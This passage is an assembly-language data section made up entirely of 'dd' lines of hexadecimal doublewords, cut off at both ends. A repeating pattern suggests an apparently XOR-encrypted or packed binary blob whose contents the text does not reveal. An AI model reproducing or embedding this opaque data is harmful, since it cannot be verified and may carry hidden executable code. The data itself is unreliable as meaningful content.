0BA60F0EFh dd 0C073E140h, 6B3EE5FFh, 49FF30F6h, 0EB4E657Fh, 6FA5B076h dd 0DD6B0174h, 109625BCh, 45EDFC63h, 9016A040h, 3B7A103h dd 952BE23Fh, 0D056CB4Ah, 0B7C13FCDh, 7B087000h, 9B5FCF3Fh dd 0E65B1205h, 0BEAF3D40h, 0B8E07028h, 0EF5FCFDAh, 0EBAE750Bh dd 1FADB076h, 50E05835h, 0EF5F3928h, 2E57B7Fh, 1520867Bh dd 0DDC004C0h, 1088724Fh, 2E941880h, 15AB4FBFh, 50D64BDAh dd 1BD4F045h, 0F82F7F0Dh, 4FC8B040h, 0DB1F8FFEh, 45636F07h dd 0D060F068h, 7DA1ED40h, 50D66B10h, 952DF9F3h, 0D056EE14h dd 0C171E411h, 0AFB12150h, 269B6A55h, 0F4647780h, 0AB0E25BFh dd 92BD7036h, 0F8F530C4h, 0D060F080h, 0AFCD311Dh, 3AE0461Bh dd 1A35BD3Fh, 8060C69Bh, 0B4007D12h, 0D3E05A00h, 0D7C63C04h dd 0E67BA005h, 57007D40h, 66FB2285h, 3AA014C0h, 0BAA3AD80h dd 99C8E85Ah, 0DDE07000h, 0EE0A5182h, 13908549h, 0AC682529h dd 0D4E57036h, 99E238C8h, 0E65CB815h, 53C24740h, 50E09855h dd 91FD30C0h, 0E67B696Dh, 0DCBD3B40h, 0D3E0463Ch, 10A814BCh dd 0D0D9748Fh, 7CA1B040h, 50E07208h, 11A45894h, 459FF080h dd 90168BC2h, 0D46D8C8Bh, 10A134E4h, 0D00AA080h, 9020B4A8h dd 2B22600h, 855F67C0h, 0D056CBFEh, 7AD7973h, 50E07104h dd 12CA6191h, 0B8619AD1h, 0D020B040h, 1A758F52h, 86A006FBh dd 8B140605h, 9448E410h, 7E07001h, 3084843Fh, 2F60F082h dd 0A61C9AD5h, 90652900h, 44326B4h, 0BAB47BD0h, 0C771E240h dd 92758F56h, 49A006FBh, 153005h, 0BEB54F16h, 0DDE0463Bh dd 47F27497h, 5D38B4EAh, 9021B4D7h, 90D3DB00h, 0E3F920AAh dd 8030A02Bh, 0C070E010h, 2758F52h, 91A006FBh, 0D062F844h dd 0B4544F40h, 4A758F08h, 43A006FCh, 0EC7A657Fh, 527DB076h dd 6E607004h, 56A145CAh, 0C5187D0Bh, 89C3B076h, 40E0E58Dh dd 0C1A330F6h, 54B20FD6h, 8FA8BF80h, 5FE07001h, 10A12044h dd 0EA5E7080h, 1066A035h, 0D4EF703Eh, 10A031C1h, 0A540CE00h dd 0AEA1F6B1h, 17AE3950h, 0DF2B72B5h, 9F61B646h, 0FA717E6Bh dd 3B62100h, 2CB2A53Fh, 0EB39F0B6h, 4FA5BF81h, 0DDE07000h dd 26BEB845h, 0B8609A80h, 9020B04Ch, 0C51F2350h, 10960CD2h dd 0D060FCBDh, 2FA5BF40h, 0B9E07000h, 10A03071h, 8230CE01h dd 152FE609h, 50E070A5h, 0BCA8F643h, 546FFDBCh, 9020B0D9h dd 0A395503Ch, 1F9A0C6Ch, 0D0607C05h, 0B02D1D40h, 6DC05020h dd 64C557E1h, 0ECCC8FF5h, 115CC560h, 38C08F7Eh, 61D544B4h dd 0A0638E01h, 0E50F9F7Ah, 0AFA7B668h, 0AA913FC0h, 0D060D790h dd 6F7252B7h, 66DBC295h, 406003C0h, 3830A0D0h, 9020B049h dd 3E971F44h, 74C15FACh, 0F2F50F80h, 1520867Ch, 63D604C0h dd 5C25B909h, 8160C6BCh, 9022B028h, 6B12180h, 3635CF90h dd 5D60C6BCh, 0A63B23D5h, 99D32000h, 42F06194h, 459FA1D1h dd 90168B1Ah, 0AFC47487h, 269B1E55h, 50A30880h, 0A635DBCDh dd 93197100h, 11CA31AAh, 0A39FC37Fh, 15354F44h, 63BA04C0h dd 0A370BB1Bh, 0EC30F38Bh, 8D9705CDh, 0EA6B7036h, 10A031CCh dd 0D1687A0Bh, 6823B040h, 0DB80BB2Bh, 7106C30Bh, 3227F5F4h dd 130E5BB5h, 0DBB37FC7h, 0C42B670Ch, 900AA4D0h, 6F4AE211h dd 6B0EE5FFh, 9D2B30F6h, 0D056CBE2h, 0BB2C74C3h, 5709F3CFh dd 10CA3707h, 9FE9F068h, 0DF737343h, 11B72446h, 5DFC7592h dd 0BF1293E9h, 0E446DF33h, 3E89275Ch, 63D75FA4h, 0A215B3DCh dd 0E44ED532h, 23921556h, 4CCE5FA9h, 0BC1088C5h, 0E245C22Fh dd 22812400h, 58D455A7h, 0D01483EFh, 0C020B042h, 50E07000h dd 74C342A9h, 0B5098AAEh, 0FC509E26h, 13A93E00h, 65D5108Bh dd 0A00B83E5h, 0C52AD234h, 70B23553h, 59EF7AA7h, 0A646D0CEh dd 0E554C229h, 5008250Ah, 4DA030C0h, 0CEFA1D01h, 15E6B076h dd 50D6656Bh, 9635CFC0h, 1160C6BBh, 0AC54AFA8h, 0E56B6E6Ah dd 10960BFEh, 0FE5C5CD9h, 11469A35h, 25FD8F3Eh, 521DBDE3h dd 5B60C6BCh, 3577B236h, 0D56DD566h, 10960777h, 0E7BD750Fh dd 19DAB076h, 1E6C8A46h, 1111CB3Eh, 808B3F62h, 6FDB98A8h dd 749CF3FFh, 54D534C8h, 0D060F868h, 0D366E340h, 1CAC342Eh dd 8235CFC0h, 0DB60C6BBh, 32DC480h, 0AFB3726Ah, 269B0A55h dd 43B00F80h, 6FDE2EA8h, 50EB98FFh, 56F330C0h, 832FAFC3h dd 0DC6CF46Eh, 0C2758F00h, 0F8A006FBh, 2F9F0E03h, 6FD6B9A8h dd 826D8FFFh, 23A006D2h, 3CE57D49h, 0C120867Fh, 0B12151h dd 0EFF16191h, 0E65B7E15h, 902B5840h, 3B57000h, 22936285h dd 9C2CB4AEh, 2B54F40h, 0B8E0463Bh, 10A030CAh, 0A21083F7h dd 0F654DE29h, 0AFB07041h, 269B0A55h, 92E57980h, 9F20867Bh dd 216DFD31h, 99A006D9h, 0E65CB805h, 5DFE140h, 50D64B92h dd 10A45853h, 65EDF080h, 9016A93Eh, 7E5DFD59h, 0F8A006FCh dd 2F9F0549h, 0F1A57726h, 50E0461Eh, 7305B390h, 0D060C69Eh dd 8E0125CDh, 4B07036h, 10CA31AAh, 0D06298D2h, 5DF3040h dd 50D64C32h, 65FAF045h, 84ED7DA2h, 0C220865Eh, 0E56D766Ah dd 10962EA1h, 8030A6D4h, 5DFE211h, 50D64C36h, 3E35CF98h dd 1660C6BCh, 0A61EFFC5h, 5C087000h, 47A030C0h, 9B23BFD3h dd 0D40E8273h, 0AFE03C4Ch, 269BA255h, 0D7086380h, 1D20B040h dd 66F8A5B5h, 0AD2D69C0h, 0D056CB7Eh, 6FD5F4A8h, 50EC98FFh dd 59F730C0h, 952EB9CEh, 0DC649E14h, 0C51F704Ch, 10960B52h dd 546F3005h, 9020B275h, 50E51893h, 0A52D30C0h, 0D056E993h dd 8A9D3D19h, 0B8E0463Ch, 0EF5FC5CDh, 0EC7E4D03h, 9F20B076h dd 50E26084h, 804CB1C0h, 8460F081h, 9021B128h, 0AE758F00h dd 91A006FBh, 0D0616044h, 44ABE040h, 0AFB2706Ah, 269C2E55h dd 89A07580h, 1848BD35h, 0AFE07013h, 269B8255h, 53821B80h dd 0A63ED3FDh, 79957000h, 0EC7B54Dh, 2F30F0B6h, 0A61CBAD5h dd 5F20F500h, 10A1B944h dd 0DC207B80h, 0A0DFB0CBh, 4E83F58Fh, 956630F6h, 0D056CECFh dd 0FA20DA41h, 0AFE21A01h, 269C2655h, 2F987380h, 9140344Fh dd 0DD737000h, 26BE6F55h, 82709A80h, 96B54F13h, 0D5E0463Ch dd 50253F00h, 5D60F081h, 0A63EC9FDh, 0B8E8C100h, 0EF5FCA83h dd 0D06064E8h, 760BEE40h, 4C44489h, 2B2AA53Fh, 6DEDF0B6h dd 9016AEC7h, 740871B1h, 9D5FCF3Ah, 0E67E8415h, 0F820DA40h dd 50E07014h, 855F6392h, 0D056CC92h, 8404F4CDh, 6F0CE58Dh dd 1FF030F6h, 94EBFA36h, 70E1A464h, 51AA7208h, 2A27AD2h dd 946BF3CAh, 71A0B864h, 5800B10Fh, 34E43B91h, 80520F90h dd 0AC700DCDh, 4C087036h, 35A030C0h, 0F018C6AEh, 0B00E906Eh dd 75C5553Ah, 35D808EEh, 0A345D0F8h, 0D96FFA4Ah, 7E0504Eh dd 2BE2A53Fh, 14E1F0B6h, 9020B0ECh, 7B0706Ah, 235CF93h dd 5B60C6BCh, 0A63534CDh, 0B3E01A00h, 1D695BDBh, 0D06518D1h dd 0B506B040h, 7E07A64h, 2BE2A53Fh, 14E3F0B6h, 9BCBE04Ch dd 50E07768h, 9D1DBDC0h, 8760C69Eh, 82B54F13h, 0D5E0463Ch dd 9DF44E00h, 0E65CA035h, 14853340h, 50E04615h, 2EEFBD4Dh dd 1E4BF0B6h, 0C671B02Ah, 5E758F53h, 93A006FCh, 0FF1EF078h dd 1DDE3BD1h, 66DC20B5h, 0E2AD80C0h, 0B070852Eh, 6FDA81A8h dd 479211FFh, 672D3923h, 5B8A1B81h, 1DEE9B8Fh, 66DC20BDh dd 9704C3C0h, 83D91B77h, 0AC2225BFh, 0ED607036h, 109625ABh dd 0B84A8481h, 9020C570h, 6B52E5FFh, 0AD2030F6h, 0D056CECFh dd 5731C440h, 66FE1385h, 10A030C0h, 9FE53680h, 9020867Eh dd 0AF1E78E9h, 6425F73Fh, 0D060C695h, 0CDA0B040h, 5DE074C2h dd 7E807FCAh, 0F00E9FEFh, 0FC00D62Fh, 71851669h, 64807FE0h dd 0F0059DE9h, 0F300DF34h, 32851C65h, 75D451B2h, 0F06AFDA1h dd 0B0009060h, 2593504Fh, 62C55DADh, 0A20197A0h, 0B14ED524h dd 35B27A0Dh, 64CE55ACh, 0A31395ECh, 0F800C92Ch, 29900061h dd 74CE51E0h, 0A01895A0h, 0F154D325h, 70CC046Eh, 7EC144B3h dd 0B70E99E4h, 9D0D907Ah, 2481270Ah, 7EC958A3h, 0BC01D0E7h dd 0F144902Ch, 3E815079h, 79CE10A4h, 0FC1498E7h, 0E24FD660h dd 39921620h, 63C45EA5h, 0A740B9A0h, 0AA54D921h, 38B77A0Dh dd 30C542A5h, 0F00582E1h, 0BC55DF39h, 39921620h, 63C45EA5h dd 0BF23D0BFh, 0B001D52Dh, 39C00449h, 79D410B3h, 0F04195EDh dd 0E307C409h, 24811C20h, 94A411A5h, 0AAD4C047h, 8409B54Bh dd 0AA0560A6h, 42E81771h, 7D27B0B7h, 59F9D2D9h, 0B7739719h dd 22BCD88Fh, 0D09ED870h, 91B20D00h, 0E3B23AB6h, 0A023E878h dd 0D0605A99h, 9020B040h, 50E07000h, 10A030C0h, 0D060F080h dd 9020B040h, 50E07000h, 10A030C0h, 0D060F080h, 9020B040h dd 50E07000h, 10A030C0h, 0D060F080h, 9020B040h, 50E07000h dd 10A030C0h, 0D060F080h, 9020B040h, 50E07000h, 93C030C0h dd 0E65F4C25h, 35A3B040h, 50D64FC0h, 53173FC0h, 0C8337D94h dd 966B074Fh, 146BA003h, 528B14E4h, 0EB79828Ch, 8453B802h dd 7BF4328Bh, 85293C82h, 0D056CF3Ch, 0AFE035C9h, 550B7036h dd 0F288F243h, 0D4A29159h, 0DCA53840h, 0B8E04624h, 10A030A4h dd 0D060EFE8h, 0E9A53D40h, 9E04623h, 1CD428F9h, 32643003h dd 0CA54FB7h, 93E0463Fh, 9DA3E937h, 0D056D4CCh, 0E0DFA0A3h dd 0D3E0FFFCh, 0E6423428h, 0F3196D09h, 0AAA3B076h, 7BE50400h dd 0D233F2h, 889CBE0Dh, 0AAA3EE1Bh, 0AFE40400h, 0EFA3DBF2h dd 8788E0F2h, 0BBDF4FBFh, 906D5BCEh, 48A006FFh, 1354BB83h dd 0AF8035CFh, 0D5277036h, 10960F5Ch, 0D060F080h, 90208CA8h dd 0CC65FB00h, 0F8A006FFh, 2F9F0630h, 9020A8A8h, 0CC5DF300h dd 10A006FFh, 4DE9F8F5h, 901693B5h, 0DD1FECEBh, 10960F5Ch dd 70E57F43h, 1920867Fh, 66DFEC95h, 10A3D8C0h, 1953F080h dd 10B33B83h, 2E07000h, 0EF5EDD28h, 10F5F37Fh, 9320867Fh dd 5C9AF3D6h, 17243FC0h, 5360F081h, 9F20A03Ah, 50E08D84h dd 1CE2BBC0h, 2EA818D0h, 15234FBFh, 50D64FC0h, 9AF0F6C3h dd 0D0997088h, 69A0A934h, 10E3042Eh, 582BC12Bh, 0F817181h dd 11FF6F9Fh, 1CAC34F9h, 494C45C0h, 29E338ABh, 27AFBFBAh dd 36E07000h, 235E4841h, 7BE5FFB2h, 0C620B040h, 25E04A83h dd 0EABBC5h, 0DAEBF26Bh, 78714143h, 0AF1F8E72h, 2F6085C3h dd 55CDF0B6h, 9FDBC880h, 50E0F484h, 0D015CFC0h, 8060C6BFh dd 6FDEE5A8h, 906573FFh, 9FA006FFh, 0E65F3005h, 0B424B340h dd 5220F353h, 0A6AFEBF3h, 50721388h, 51739089h, 79E45424h dd 1C8914DCh, 3B20ABA4h, 9FDB31A9h, 243DCBD7h, 0B85BB1FEh dd 0A4BB9EC5h, 0C9DB3176h, 241FD13Bh, 0C65BB1EEh, 0A4CC45A2h dd 3DB3166h, 241328E9h, 6D5BB1DEh, 0A493A869h, 0D6DB3156h dd 2401553Fh, 205BB1CEh, 0A481D5BFh, 30B54F46h, 0BE0463Fh dd 0EF5F4129h, 12E3AE7Fh, 6ECF5954h, 51238FFFh, 0F8F834AAh dd 2F9F05D0h, 0B60625C8h, 0E8867036h, 0F2A228F1h, 0D2631440h dd 0FA8BD6A2h, 65082806h, 935FCF35h, 1E7F842h, 7878B52Ah dd 0AF1F8528h, 63A3CA40h, 0D230408Bh, 0A60696C5h, 770BDA00h dd 0BAF858AAh, 0A5630A00h, 78310058h, 0AF1F8508h, 10A03178h dd 0A4B27480h, 6EC0614Dh, 0BB169BCAh, 10A088C5h, 32CB7080h dd 5AD73FFh, 50D64898h, 0CA57E7EBh, 5BE50743h, 90208678h dd 5FE87000h, 0F061F055h, 59E5068Bh, 91208678h, 5D867675h dd 34B1549h, 0E8E97576h, 0E522B076h, 61ED1606h, 76A4DBE5h dd 0B645F18Dh, 6F9C58EBh, 136B8FFFh, 0A435B9F4h, 7B60C6BFh dd 1BA54783h, 50E04638h, 1FA830C0h, 6C643015h, 6FBC58EAh dd 0C5698FFFh, 10960F78h, 0E8E97576h, 0E521B076h, 0BBD17F04h dd 0BB601BC2h, 5BE50743h, 90208678h, 24E87000h, 9525BAE7h dd 1160C6B8h, 9D46BBA0h, 0FB86358Bh, 9A0AC870h, 0E6587505h dd 8BC07140h, 0D9841705h, 0D0939BC6h, 0C28B5BE6h, 95AFD4F8h dd 0D56ADB00h, 10960845h, 30A1A884h, 20E31B58h, 36C09BFCh dd 76A0DB78h, 0BA791B2Bh, 89C8E844h, 0DD1F8FF4h, 0F061E2C4h dd 59659688h, 7B8BD680h, 0FA70C003h, 0F8F832AAh, 2F9F0480h dd 0A25462C4h, 0B8B8786Ah, 0EF5FC334h, 13123A7Eh, 5ADE7534h dd 9A1EB974h, 0DA5EEBB4h, 1A9EFCF4h, 5ADEBC34h, 0A9507C74h dd 0ED10FD2Bh, 25D0396Bh, 689075ABh, 0DD23B1EBh, 2698A87Dh dd 5BE50780h, 90208678h, 24607000h, 0BAC080C3h, 0E8EB7577h dd 9020B076h, 57947800h, 0FC2B6578h, 272F5B80h, 0A6183BC5h dd 50E07300h, 0C7243FC1h, 6060F080h, 198B1AA8h, 66DFD4BDh dd 0BA4880C0h, 78DD792Bh, 6720867Fh, 66D8FB85h, 10A033C0h dd 27758480h, 0A6183BC5h, 50E07000h, 0F8A544C1h, 2F9F0E41h dd 3B8A59F0h, 6F44F58Bh, 0DF2B30F6h, 6DE938ABh, 90168FECh dd 0E81C3889h, 265F54A7h, 0B6A0C32Bh, 1BA547EBh, 53E04638h dd 64A030C0h, 59E5068Eh, 10208678h, 12087574h, 0A85FCF3Eh dd 0F6E994E7h, 0F6E083EBh, 0DB6587ABh, 13A006F8h, 0A460F080h dd 19A54615h, 0D0E04638h, 0E4835B5h, 389F0F7Eh, 6FDF4DE4h dd 0E60850B0h, 0F35FCF3Bh, 2FD896B9h, 18BD655h, 0DB75FBABh dd 0E7A006F8h, 0D3A20752h, 0E520B040h, 0AD9E9814h, 0F10CF3Fh dd 2F9B6068h, 6F98D6BFh, 0C14B1615h, 9B6FBB6Bh, 0E65F5C05h dd 19E89B40h, 0D5178C48h, 1096084Bh, 0D060F083h, 15D79E34h dd 50D6488Bh, 16A030C0h dd 5597D2F4h, 901688CBh, 51E07000h, 0E24835B5h, 279F0F7Dh dd 0A6183BC5h, 50E07000h, 0F8A544C4h, 2F9F0E8Dh, 0A8AB35B7h dd 50E47036h, 7D430C0h, 2F9E9768h, 500908BFh, 0E84BB8FEh dd 14D4F0C8h, 2815482Bh, 678BD7ABh, 66D8FB85h, 10A038C0h dd 502F8580h, 0A61839FDh, 16947000h, 0EF5E0B28h, 0C849487Fh dd 352A7969h, 50D64885h, 1AA3D400h, 0E6587525h, 21901B40h dd 0D965FAAAh, 0BAA006F8h, 556AB030h, 901688C5h, 0B25816AAh dd 9B25C73Dh, 0C060C6B8h, 0E420B040h, 0FAA9C007h, 0ECD588A6h dd 38D05BE6h, 3BE083EAh, 6F70CD89h, 955730F6h, 0D056C80Bh dd 9020B060h, 8507975h, 2823B5CAh, 0B6CAF0B6h, 67E031F8h dd 66D8FB85h, 10A070C0h, 50638480h, 352A9884h, 50D64883h dd 0AD299BA6h, 0D056CF14h, 1BA547EBh, 50E04638h, 65E030C0h dd 0D2304089h, 0A61833C5h, 0D517DA00h, 1096084Bh, 0D060F000h dd 2890BB35h, 6864F50Ah, 0FB0A30F6h, 0E1D896BDh, 1BA54758h dd 50E04638h, 64A030C1h, 0DA494082h, 0A61834E5h, 5304B000h dd 282495CAh, 7B06F0B6h, 60A10826h, 686BF5F7h, 12A030F6h dd 0D215F080h, 352A78F4h, 50D64884h, 0AD299BA6h, 0D056CF30h dd 900828F8h, 0D517DB00h, 1096084Bh, 0D060F088h, 0A1C8C134h dd 0A71F8FFDh, 2698BB45h, 0D064F080h, 202BC540h, 0D5657AB8h dd 0BAA006F8h, 5597BD6Bh, 901688CBh, 50E07800h, 0A8C621B5h dd 756A1003h, 901688C5h, 90D3DB66h, 76B5DB6Ah, 0DA78D938h dd 0A61835E5h, 5304B000h, 282595CAh, 7B06F0B6h, 0A8AB35B7h dd 40E07036h, 0A8C630C0h, 0D3143001h, 9A2874C0h, 66D8F5A5h dd 1F0B56C0h, 0E8E97536h, 788BB076h, 0AF1F8CC0h, 282BB537h dd 0D060F0B6h, 9954F040h, 0D5E220B0h, 10960843h, 5BE5072Ah dd 90208678h, 0E0E07020h, 14A24546h, 2E2F7D84h, 0A8A315CAh dd 0DD697036h, 10960F58h, 2CE05BE6h, 2027C545h, 0AFAFF000h dd 69489A80h, 279F0F7Ch, 0A6183BC5h, 50A07000h, 761856C0h dd 646285B1h, 208BD669h, 0D5657A18h, 0D0A006F8h, 38CAF360h dd 6FDF4C14h, 0D517F8B0h, 1096084Bh, 0D0607080h, 1690B235h dd 6863D58Ah, 0BBC630F6h, 0A5650C00h, 10200047h, 0FAA08F4Fh dd 0EF5C1B28h, 5BE5077Fh, 90208678h, 25E07100h, 1AE080CBh dd 0E6587305h, 9FCB1A40h, 9063C866h, 282395CAh, 7B06F0B6h dd 678AB1F0h, 66D8FB85h, 12A030C0h, 274F8580h, 0A6183BC5h dd 54E07000h, 0A0BA45C0h, 55E5FA40h, 1A208678h, 66D8FAA5h dd 40F1C0h, 510648E6h, 7B2000EBh, 5AA0C008h, 2698B545h dd 55975A80h, 901688CBh, 50E87000h, 0A8C620B5h, 756A1803h dd 901688C4h, 5150DB66h, 5810382Bh, 0E8E4758Ah, 678AB076h dd 66D8FB85h, 0A030C0h, 0A5154180h, 1398D665h, 0D4457AF8h dd 76A006F8h, 7AA0C32Bh, 0AFB80D69h, 0D5177036h, 1096084Bh dd 0D040F080h, 0E791AF35h, 0E8866BEBh, 0B5AA28C9h, 0D056C804h dd 9A235480h, 66D8F4A5h, 390B56C0h, 0E65F683Dh, 1AE13A40h dd 66DFE8A5h, 0A00B56C0h, 53E5F2D8h, 3A208678h, 686BF5F7h dd 10A330F6h, 0F214F180h, 0A8AB35B7h, 50E07036h, 6D534C0h dd 0E8EB7577h, 9020B076h, 55957300h, 0EF5AB428h, 2ACB187Fh dd 15D74FBFh, 50D6488Bh, 18A030C0h, 19D0F3F4h, 1BA547EAh dd 50E04638h, 642030C0h, 0FA6740A0h, 0A61833C5h, 4A00B100h dd 34A8B9CDh, 53C5F280h, 50208678h, 946073E4h, 71109BC4h dd 2FD8962Ah, 1385BAA0h, 36E04638h, 9B25C76Bh, 0F060C6B8h dd 0E420B040h, 0DB658753h, 10A006F8h, 0A440F080h, 93E7474Dh dd 24E07000h, 0BA3080C5h, 17EB036Bh, 0AFB03DCBh, 91CB7036h dd 0A05C7149h, 53E5FAD8h, 3A208678h, 686BF5F7h, 10A030F6h dd 0DC14F0C0h, 53700826h, 6863F50Ah, 1A4B30F6h, 309F48E6h dd 0A8A3154Ah, 0FB867036h, 282BB537h, 0D063F0B6h, 0E354B140h dd 686BF5F7h, 10A030F6h, 0DD14D080h, 902377B7h, 55947000h dd 0FB0AA070h, 5BAF7B73h, 0A61F18C5h, 0D9285B00h, 0D993CC88h dd 0E8EB7577h, 9020B076h, 5E957080h, 2823B54Dh, 0D8EAF0B6h dd 93D93000h, 546D8873h, 84740Dh, 0D8803180h, 738B3BF0h dd 61581606h, 760B5600h, 0B8E07F38h, 9020B0F8h, 0FB869102h dd 0D9259B98h, 6806F6F5h, 3B467071h, 0DD4AB3B0h, 2698A845h dd 5BE50780h, 90208678h, 25F07000h, 0E88B67C6h, 5B791BD8h dd 680B9813h, 0DD6BA02Bh, 10960F70h, 0EFF06581h, 0A921B076h dd 54C4348Bh, 0C88D49h, 6DEBF0B6h, 90168FD4h, 6F70F52Bh dd 955730F6h, 0D056C80Bh, 9020B000h, 88177274h, 10A4F26Bh dd 6DE3A7D6h, 90168F88h, 89647F00h, 0F8A030C1h, 0D060F08Dh dd 0DE72F50Bh, 62D33C45h, 5CEC74EEh, 0AAF50F80h, 1920867Bh dd 66DFAC85h, 482B63C0h, 2FB8F3BCh, 0D3AB9833h, 0A5009834h dd 852BCF3Fh, 0D056CF3Ch, 9C62B31Bh, 6F00F589h, 52A330F6h dd 34E57988h, 1B20867Fh, 0E31F5873h, 10A03040h, 2F954968h dd 2C9D3BBFh, 6E0463Fh, 0EF559D28h, 6CF57B7Fh, 1B20867Fh dd 1AE3784Ah, 936E1BCCh, 586FF569h, 9020B120h, 51BAF40Fh dd 0A5A330C0h, 0D056CF40h, 0AFA00543h, 6C4C7036h, 0B2253F28h dd 5D60F080h, 150BB406h, 50D64F80h, 0F8F036C3h, 2F9F05EAh dd 0AF9C0DC3h, 25E07036h, 1CE70BCBh, 0D17B738Fh, 9CCBB040h dd 6F5CE539h, 95AF30F6h, 0D060F18Dh, 0AFA03543h, 0D1867036h dd 1F85CFF8h, 0D0600C05h, 92603B40h, 0D4332Bh, 0EF551D28h dd 6CDDC97Fh, 9F20867Fh, 50E09485h, 0D02533C0h, 0D360C6BFh dd 0A61F30C5h, 7BE0FB00h, 92AF3C87h, 0D060F04Dh, 9F28F77Bh dd 50E0B483h, 1260B3C0h, 0D374B783h, 0A61F30C5h, 0AFB02200h dd 269FEC75h, 0EAF50F80h, 0CA20867Bh, 0D5EFB085h, 10A03077h dd 0D0606C69h, 9FDF8C40h, 50E0E485h, 59EB0C0h, 0D0EB758Fh dd 0D6ABB040h, 64A35B01h, 0E41CD890h, 6D590F7Fh, 90168FFCh dd 0D5E30775h, 10960F00h, 0EFE07583h, 15A9B076h, 50D64FE8h dd 959B304Bh, 0D056CF60h, 151BB832h, 50D64FE4h, 109D59B2h dd 0A210F080h, 903F5877h, 1E6D7000h, 3B61BB3Ch, 0C022F382h dd 0AFC8357Bh, 5C957036h, 0EFB0F443h, 0F4247FB1h, 8BCBD15Ch dd 0F065FFC3h, 70A006FFh, 0EFE0450Bh, 0CAC8B076h, 311F8FF5h dd 10A03069h, 0FB6E8500h, 9952BC07h, 5FE8373Bh, 0EF5F0C42h dd 556FB97Fh, 6FDF4EF2h, 0D1C44C8Bh, 1088BB67h, 2F9F0F80h dd 11625B3Fh, 5080544Ah, 23EED0C0h, 0F46C7B40h, 0AFE835C7h dd 0D5697036h, 10960F04h, 0F8EF490Dh, 1523B040h, 50D64F80h dd 5E0595A6h, 926336ABh, 9C629B54h, 0B81B36C6h, 10F3B107h dd 0D065F080h, 0D6A9B040h, 93BE2FFCh, 9635CF97h, 1160C6BBh dd 152FAFA8h, 50E0711Ah, 38CA6490h, 459F0FEAh, 90168BA6h dd 5FBFB085h, 10A13548h, 353A1880h, 81C84FBFh, 3E07000h dd 79E644A5h, 0B53395ECh, 0F952C523h, 50A10974h, 2FF4853Fh dd 459FF0B6h, 90168B7Ah, 6FBCF589h, 94830F6h, 8360F080h dd 0FB41E425h, 3E973F65h, 78D342A5h, 0A23080E9h, 0FC49C629h dd 50851765h, 0F98BD897h, 0C3880F7Fh, 0C320B040h, 23852265h dd 75D25FB4h, 0A60982D0h, 0F745DC29h, 0B8B77065h, 0EF5FD9CDh dd 0D060E268h, 0D245E340h, 258B1361h, 79D260B0h, 0B50C99F6h dd 0C720D527h, 0AF0880E8h, 10B8D83Fh, 0B533F080h, 0FE41D803h dd 3FAE1567h, 69C659B4h dd 0A60982D0h, 0F745DC29h, 0B8B77065h, 0EF5FD80Dh, 55EDA4D0h dd 90168AD8h, 3AB0146Ah, 855F67C1h, 0D056CB72h, 6F048CC9h dd 66DB5E95h, 9D601AC0h, 0E65EA03Dh, 0C070E040h, 6A78C5FFh dd 11C830F6h, 8460F480h, 6F77B12Ah, 66DF2C95h, 14CA64C0h dd 8CF50FD7h, 1320867Fh, 0E51F64C4h, 10960F94h, 0EB0A657Fh dd 537FB076h, 6EB0C58Dh, 0EFF630F6h, 0E65B9E15h, 6FD83340h dd 505BF40Fh, 952930C0h, 0D056CFE0h, 6F76B02Ah, 66DBDA95h dd 1F60B5C0h, 0D0605404h, 0C0E09B40h, 0E31A50h, 10C831AAh dd 86A0F080h, 0AB6A25BFh, 0A8637036h, 0F8243F3Fh, 5960F085h dd 0A61FD4C5h, 386DFD00h, 9DA006FFh, 0E65F8015h, 0FA72E140h dd 0C51F2000h, 10960BB6h, 0DF9F0803h, 902506C4h, 0AFE01A00h dd 269F5475h, 0A2F50F80h, 1320867Bh, 0D4EF8FF8h, 10A0355Fh dd 0EF187509h, 5913B076h, 0B1B303h, 41A45A91h, 0EF04457Fh dd 5DFB076h, 50D64B4Eh, 94AFF045h, 0D060F5FBh, 15A97973h dd 50D64F7Ch, 78F16191h, 0D06FF09Fh, 6B54F10h, 0D5E0463Bh dd 24243F00h, 5960F085h, 0A61F30C5h, 0BF58B300h, 9BA030AFh dd 5597C8CBh, 901688CBh, 40E07000h, 95A336B5h, 0D056E0E8h dd 51236273h, 0B11781F7h, 2F2CB549h, 47D8F0B6h, 1B20B068h dd 0D5E34C4Bh, 109620A8h, 116322B3h, 71D741B7h, 6F64F589h dd 1F6330F6h, 2966BB37h, 0C3AD85A3h, 13577F18h, 597033D4h dd 0D34831EBh, 0CF1A3190h, 0A98E1977h, 6A232DB4h, 3012F18Ch dd 1B1CFBCBh, 12E36442h, 58E4BDD0h, 0F3B9077Fh, 0E8A58B81h dd 93E0463Fh, 84644Bh, 52EF30B3h, 9020B0F8h, 0BB2FFBC3h dd 401DBDCBh, 2C60C6BEh, 59136FCBh, 22814CACh, 67DA0CC6h dd 7A40DC82h, 7C54EC7Ch, 8D945E3Ch, 0F8D530FCh, 0D1EB3963h dd 0D578F57Dh, 6DEB0400h, 10F27393h, 2F53758Fh, 93AB4FBFh dd 1EA9273Dh, 36243F83h, 0ED9F0F7Fh, 0DE75F317h, 0AFFBF40Fh dd 479DCF3Fh, 0DF52C3C3h, 6FDFA0C4h, 3B04DFFh, 94AF7F94h dd 2F9F0F85h, 0BDC86B73h, 251F8FFEh, 0EC5AD8D0h, 0F1880F7Fh dd 9FDF4FBEh, 0AF1E9C84h, 0F872033Fh, 0D060F096h, 6FDFD3A8h dd 50E098FFh, 91FD30C0h, 0E653C96Dh, 93FB5940h, 0AF847000h dd 9015BBF2h, 0B460C6BFh, 114692C9h, 5FBA3D3Eh, 10A3F445h dd 0EC3E7B80h, 11466E43h, 5FA5203Bh, 10A38445h, 0C6230780h dd 90209040h, 5347F50Fh, 535630C0h, 546FF2DCh, 9020B3DDh dd 6DE8338Bh, 0B0009060h, 0D3EF748Fh, 0B01DB040h, 5FC05020h dd 10A3B444h, 2ED91880h, 122F4FBFh, 50E07379h, 2F649543h dd 5B60F0B6h, 0DAABB802h, 23215B10h, 0FB6003C4h, 59A8F385h dd 15A9A00Ah, 50D64F88h, 0A8AC7AC3h, 0D061F080h, 778A5811h dd 0C5D08FFFh, 10960849h, 6550D031h, 901688CAh, 991E506Ah dd 0F8B44898h, 2F9F1710h, 42F62C5h, 6102A3C2h, 2698BB55h dd 27851B80h, 0A6183BC5h, 50E07000h, 0E78244C1h, 0E6587B05h dd 9020B340h, 0D1EC0500h, 2698BB65h, 2F9F0F80h, 112A5BBBh dd 66D8FB8Dh, 10A030C0h, 0D0669888h, 0F879B040h, 50E07006h dd 0F7E2D898h, 55EA0F7Fh, 901688C3h, 0D3CAF486h, 98A006F8h dd 0E6587305h, 67C05240h, 66D8FB85h, 10A038C0h, 50698580h dd 0A61835FDh, 95947100h, 